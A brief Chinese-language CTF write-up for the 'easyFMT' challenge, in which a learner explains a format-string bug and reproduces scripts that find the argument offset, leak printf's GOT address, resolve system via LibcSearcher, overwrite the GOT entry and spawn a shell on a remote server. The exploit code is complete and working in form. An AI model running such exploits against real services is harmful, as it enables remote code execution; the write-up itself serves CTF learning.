作为一个菜狗子只能等大佬的writeup学习 才会做
easyFMT看名字就是到是格式化串洞,然后就是要确定存在格式化串洞的参数是第几个
确定为是print的第六个参数
大佬计算参数的脚本是:
#!/usr/bin/python
from pwn import *
elf = ELF('./pwn')
for i in xrange(1,100):
p = process('./pwn')
p.recvuntil("Do you know repeater?\n")
payload = 'AAAA,%' + str(i) + '$x'
p.sendline(payload)
try:
data = p.recv()
if '41414141' in data:
print ""
print "[+] Found it: {}".format(str(i))
print
p.close()
break
else:
p.close()
except:
p.close()
然后这个题的思路是 把printf的got表内容改成system的地址,这样调用printf函数的时候就会调用system从而拿到shell
这里利用LibcSearcher根据泄露的printf的地址,找到对应的libc版本,然后在找到对应的system 的地址,最后进行内存覆盖
from pwn import *
from LibcSearcher import LibcSearcher
elf = ELF('./easyFMT')
#p = process('./pwn')
p = remote('192.168.1.9', 6667)
#p = remote('106.75.126.184', 58579)
def get_addr(addr):
p.recvuntil("Do you know repeater?\n")
payload = p32(addr) + '%6$s'
p.sendline(payload)
data = p.recv()
print data
return u32(data[4:4+4])
def main():
printf_got = elf.got['printf']
printf_addr = get_addr(printf_got)
print printf_addr
libc = LibcSearcher('printf',printf_addr )
libcbase = printf_addr - libc.dump('printf')
system_addr = libcbase + libc.dump('system')
payload = fmtstr_payload(6, {printf_got: system_addr})
p.sendline(payload)
p.recvuntil('\n')
p.sendline('/bin/sh\x00')
p.interactive()
if __name__ == '__main__':
main()